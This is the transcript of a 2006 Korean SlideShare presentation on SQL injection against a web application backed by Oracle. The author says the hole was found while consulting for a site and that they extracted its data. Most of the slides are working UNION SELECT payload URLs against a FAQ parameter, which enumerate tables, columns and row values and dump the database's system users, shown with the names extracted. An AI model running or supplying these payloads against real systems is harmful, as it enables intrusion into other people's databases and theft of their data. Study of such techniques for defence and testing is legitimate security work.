Your SlideShare is downloading. ×
ORACLE SQL INJECTION                    (V0.1)~ 7th July 2006, By Crakrozy한 사이트를 보안 컨설팅 하던 중 Web 상에서 Oracle SQL Injection취...
위와 같이 SQL Injection 에러가 발생됨을 확인하고, DEFINITION_INFO_CODE 뒤에 여러 타입의 SQL 코드를 삽입해 주었다. 에러 구문을 올바르게 노출 시켜 주는 것이 Oracle임을 확인하고, ...
모든 테이블 명 획득 -BOARD,COMMENTS,DEFINITIONINFO,FAQ,PI_FILE,PI_USER,PUBLICNOTIFICATION,RECOMMENDEDBOARD,TRANSACTIONINFO,UPLOADF...
able_name%20=BOARD%20and%20column_name%20not%20in(BOARDNO,TRANSACTIONCODE,DEFINITIONINFOCODE,TITLE,CONTENTS,REGTIME,CLICKC...
http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test%20union%20all%20select%201,1,%203,table_name,column_n...
[그림 6] 각 column에 따른 값 추출이때 위와 같이 데이터 들을 추출해 낸 후, where column명 not in(‘value’) 구문을이용해서 값을 제거해 주면서 다음 값을 추출한다.http://127.0....
[ 그림 7 ] Data 값 추출이런 방식으로 다른 테이블에 해당하는 값들도 추출이 모두 가능하다.2. 시스템 내부 USER 명 가져오기위에서    말한 방식으로         동일하게     select   usern...
[ 그림 8 ] 마지막 USER값 추출 화면이상으로 Oracle SQL Injection 을 이용하여 Database Table명 추출, Column명 추출, 각values 추출 그리고 내부 시스템 사용자 리스트를 추출...
Upcoming SlideShare
Loading in...5
×

[개인연구] Practical use of oracle sql injection crakrozy v0.1

2,268

Published on

오라클 sql injection 공격 기법

0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
2,268
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
33
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Transcript of "[개인연구] Practical use of oracle sql injection crakrozy v0.1"

  1. 1. ORACLE SQL INJECTION (V0.1)~ 7th July 2006, By Crakrozy한 사이트를 보안 컨설팅 하던 중 Web 상에서 Oracle SQL Injection취약점이 발견되었다.Oracle SQL Injection에 대해 공부하고 있던 터라 너무 반가웠고, 즐겁게 내부 Database에접근하여 DB내용들을 가져왔다. 기법과 과정들을 문서로 남기고 싶어, 이렇게 실무에서 적용된 Oracle SQL Injection에 대해 정리한다.아래의 페이지에서 SQL Injection 취약점이 발견되었다. FAQ 게시판이었고, 확인 하기 위해특정 코드를 삽입해 보았다. [ 그림 2 ]http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=12A [ 그림 1 ] SQL Injection 취약점이 발견된 페이지http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=’ [ 그림 2 ] Single quotation 삽입 시 다음의 SQL 에러 발생
  2. 2. 위와 같이 SQL Injection 에러가 발생됨을 확인하고, DEFINITION_INFO_CODE 뒤에 여러 타입의 SQL 코드를 삽입해 주었다. 에러 구문을 올바르게 노출 시켜 주는 것이 Oracle임을 확인하고, Oracle SQL Injection 공격을 시도하였다.Select tname from sys.tab 구문을 이용하여 table 명을 얻어내려 시도 하였다.그러나 아래와 같이 column의 개수와 type을 맞추어 주어야 하는 문제점에 봉착, 여러 번의 시도를 하였다. 다음 화면은 column의 개수는 일치하나, 해당 테이블의 data type이불일치 하여, 에러를 노출 하는 화면이다.http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test%20union%20all%20select%201,222,3,444,555,tname%20from%20sys.tab-- [ 그림 3 ] column의 data type 불일치위에서와 같이 에러 확인과 Oracle SQL Injection이 발생한다는 사실을 확인하였다. 이제 본격적으로 DB내부에 접속하여 Data를 가져와 보자.1. 테이블 명 가져오기Column 개수와 Type을 맞추기 위해 여러 번의 시도 결과 개수는 6개 type의 종류를 알아낼 수 있었다. 그런 다음 테이블 명을 가져오기를 시도하였다. 테이블 명을 가져오기 위해다음에 나오는 명령으로 sys.tab 오브젝트로부터 테이블 명을 확인 하였다.http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test%20union%20all%20select%201,222,3,444,tname,555%20from%20sys.tab--확인된 테이블 명을 가지고 하나씩 하나 씩 제거해 나가면서 다음에 오는 테이블 명을 도출한다.http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test%20union%20all%20select%201,1,%203,table_name,column_name,555%20from%20cols%20where%20table_name%20not%20in(BOARD,COMMENTS,DEFINITIONINFO,FAQ,PI_FILE,PI_USER,PUBLICNOTIFICATION,RECOMMENDEDBOARD,TRANSACTIONINFO,UPLOADFILEINFO,URLCHANGE,USAY,USAYCOMMENTS,USERADDINFO)--
  3. 3. 모든 테이블 명 획득 -BOARD,COMMENTS,DEFINITIONINFO,FAQ,PI_FILE,PI_USER,PUBLICNOTIFICATION,RECOMMENDEDBOARD,TRANSACTIONINFO,UPLOADFILEINFO,URLCHANGE,USAY,USAYCOMMENTS,USERADDINFO [ 그림 4 ] 날짜 부분에 tname으로 테이블 명 가져옴2. 테이블의 Column 값 가져오기위에서 진행 했던 바와 같이 같은 방법으로 각 테이블에 있는 컬럼의 명칭을 가져온다.select column_name from cols where table_name=테이블 이름의 구문을 사용한다.많은 테이블이 있으니 임의로 몇몇의 테이블의 Column을 가져오도록 시도해 보겠다.이때 데이터 들을 추출해 낸 후, where column_name not in(‘value’) 구문을이용해서 값을 제거해 주면서 다음 값을 추출한다.[1] BOARD – 전체 Column 명BOARDNO,TRANSACTIONCODE,DEFINITIONINFOCODE,TITLE,CONTENTS,REGTIME,CLICKCOUNT,DOWNLOADCOUNT,USERID,DELFLAGhttp://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test%20union%20all%20select%201,1,%203,table_name,column_name,555%20from%20cols%20where%20table_name=BOARD--http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test%20union%20all%20select%201,1,%203,1,column_name,555%20from%20cols%20where%20t
  4. 4. able_name%20=BOARD%20and%20column_name%20not%20in(BOARDNO,TRANSACTIONCODE,DEFINITIONINFOCODE,TITLE,CONTENTS,REGTIME,CLICKCOUNT,DOWNLOADCOUNT,USERID,DELFLAG)--[2] COMMENTS - 뽑아낸 Column 명COMMENTSNO,BOARDNO,CONTENTS,REGTIME,USERID,DELFLAGhttp://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test%20union%20all%20select%201,1,%203,1,column_name,555%20from%20cols%20where%20table_name%20=COMMENTS%20and%20column_name%20not%20in(COMMENTSNO,BOARDNO,CONTENTS,REGTIME,USERID,DELFLAG)--[3] DEFINITIONINFO - 전체 Column 명 DEFINITIONINFOCODE,DEFINITIhttp://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test%20union%20all%20select%201,1,%203,table_name,column_name,555%20from%20cols%20where%20table_name%20=DEFINITIONINFO%20and%20column_name%20not%20in(DEFINITIONINFOCODE,DEFINITI)--[4] PI_USER - 전체 Column 명FULLID,ID,DOMAIN,USERNO,DEFAULTIMAGE,ISPUBLIChttp://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test%20union%20all%20select%201,1,%203,table_name,column_name,555%20from%20cols%20where%20table_name%20=PI_USER%20and%20column_name%20not%20in(FULLID,ID,DOMAIN,USERNO,DEFAULTIMAGE,ISPUBLIC)--[5] PI_FILE - 전체 Column 명 FULLID,FILENAME,FILEDESChttp://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test%20union%20all%20select%201,1,%203,table_name,column_name,555%20from%20cols%20where%20table_name%20=PI_FILE%20and%20column_name%20not%20in(FULLID,FILENAME)--[6] USERADDINFO - 전체 Column 명 USERID,NICKNAME
  5. 5. http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test%20union%20all%20select%201,1,%203,table_name,column_name,555%20from%20cols%20where%20table_name%20=USERADDINFO%20and%20column_name%20not%20in(USERID,NICKNAME)-- [ 그림 5 ] Column 명 가져오는 화면3. 각 데이터 값 가져오기이제 각 column 값에 대한 데이터를 뽑아 내 보자.BOARD ├--- BOARDNO - 34,35,36,37,38,39,40,41,42,43... ├--- TITLE - cccc,ddd,dd,33,ff,이모티콘.... ├--- DEFINITIONINFOCODE - ………… ├--- TRANSACTIONCODE - ……http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test%20union%20all%20select%201,a3sc,TITLE,DEFINITIONINFOCODE,TRANSACTIONCODE,boardno%20from%20board--
  6. 6. [그림 6] 각 column에 따른 값 추출이때 위와 같이 데이터 들을 추출해 낸 후, where column명 not in(‘value’) 구문을이용해서 값을 제거해 주면서 다음 값을 추출한다.http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test%20union%20all%20select%201,a3sc,TITLE,DEFINITIONINFOCODE,TRANSACTIONCODE,BOARDNO%20from%20board%20where%20boardno%20not%20in(34,35)--http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test%20union%20all%20select%201,a3sc,TITLE,DEFINITIONINFOCODE,TRANSACTIONCODE,BOARDNO%20from%20board%20where%20boardno%20not%20in(34,35)--
  7. 7. [ 그림 7 ] Data 값 추출이런 방식으로 다른 테이블에 해당하는 값들도 추출이 모두 가능하다.2. 시스템 내부 USER 명 가져오기위에서 말한 방식으로 동일하게 select username from all_users 구문을 이용하여적용시키면 다음과 같이 모든 시스템 내부 User명을 가져 올 수 있다.아래는 시도한 SQL Injection 코드 이다.http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test%20union%20select%201,1,3,username,username,555%20from%20all_users%20where%20username%20not%20in(ANONYMOUS,CHANNELCHAT,CTXSYS,DBSNMP,HR,IMMMS,IMWEB,MDSYS,ODM,ODM_MTR,OE,OLAPSYS,ORDPLUGINS,ORDSYS,OUTLN,PM,QS,QS_ADM,QS_CB,QS_CBADM,QS_CS,QS_ES,QS_OS,QS_WS,ROOKIE,SH,SYS,SYSTEM,TOPIM,WKPROXY,WKSYS,WMSYS,XDB)--ANONYMOUS,CHANNELCHAT,CTXSYS,DBSNMP,HR,IMMMS,IMWEB,MDSYS,ODM,ODM_MTR,OE,OLAPSYS,ORDPLUGINS,ORDSYS,OUTLN,PM,QS,QS_ADM,QS_CB,QS_CBADM,QS_CS,QS_ES,QS_OS,QS_WS,ROOKIE,SH,SYS,SYSTEM,TOPIM,WKPROXY,WKSYS,WMSYS,XDB
  8. 8. [ 그림 8 ] 마지막 USER값 추출 화면이상으로 Oracle SQL Injection 을 이용하여 Database Table명 추출, Column명 추출, 각values 추출 그리고 내부 시스템 사용자 리스트를 추출하는 방법에 대해 살펴 보았다.계속해서 추가적인 공격들과 기법들에 대해 살펴볼 예정이다.

×